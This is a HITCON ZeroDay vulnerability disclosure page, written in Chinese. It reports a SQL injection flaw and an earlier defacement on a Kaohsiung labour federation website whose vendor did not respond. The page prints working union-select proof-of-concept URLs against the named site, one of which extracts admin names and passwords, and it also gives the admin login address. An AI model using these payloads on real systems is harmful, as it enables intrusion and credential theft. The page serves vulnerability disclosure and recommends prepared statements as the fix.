Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2017-00757
- Vendor: 高雄市勞工之友總會
- Title: 新高雄總工會 SQL Injection 、遭入侵
- Introduction: SQL Injection 、弱後台
處理狀態
目前狀態
公開
Last Update : 2017/11/06
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2017/09/06 19:36:52 : 新提交 (由 aaa 更新此狀態)
- 2017/09/06 19:37:10 : 新提交 (由 aaa 更新此狀態)
- 2017/09/06 19:37:23 : 新提交 (由 aaa 更新此狀態)
- 2017/09/06 22:53:46 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/09/10 18:26:31 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/09/10 18:26:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/11/06 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2017-00757
- 通報者:honc (aaa)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
Poc Payload:
http://www.lfu.org.tw/compshow.php?ProdId=114837%%27%20%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38%20--%20+
http://www.lfu.org.tw/compshow.php?ProdId=114837%%27%20%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,group_concat(table_name),16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+from+information_schema.tables+where+table_schema=database()%20--%20+
http://www.lfu.org.tw/compshow.php?ProdId=114837%%27%20%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,group_concat(name,0x3a,password),16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+from+admin%20--%20+
Admin Login:http://www.lfu.org.tw/admin/adminLogin.php
遭惡意者入侵新增公告:
http://www.lfu.org.tw/news_detail.php?NewsID=131&NewsTitle=hacked%20by%20sir%20shahroukh%20%20hacked%20by%20sir%20shahroukh%20%20hacked%20by%20sir%20shahroukh%20%20hacked%20by%20sir%20shahroukh
http://www.lfu.org.tw/compshow.php?ProdId=114837%%27%20%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38%20--%20+
http://www.lfu.org.tw/compshow.php?ProdId=114837%%27%20%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,group_concat(table_name),16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+from+information_schema.tables+where+table_schema=database()%20--%20+
http://www.lfu.org.tw/compshow.php?ProdId=114837%%27%20%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,group_concat(name,0x3a,password),16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+from+admin%20--%20+
Admin Login:http://www.lfu.org.tw/admin/adminLogin.php
遭惡意者入侵新增公告:
http://www.lfu.org.tw/news_detail.php?NewsID=131&NewsTitle=hacked%20by%20sir%20shahroukh%20%20hacked%20by%20sir%20shahroukh%20%20hacked%20by%20sir%20shahroukh%20%20hacked%20by%20sir%20shahroukh
敘述
嚴謹檢查該頁面驗證問題不該帶入語法查詢SQL 有效,因涉及非法問題,就不後續登入後台進一步測試了
修補建議
可採用 Prepared statement 方式修補
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。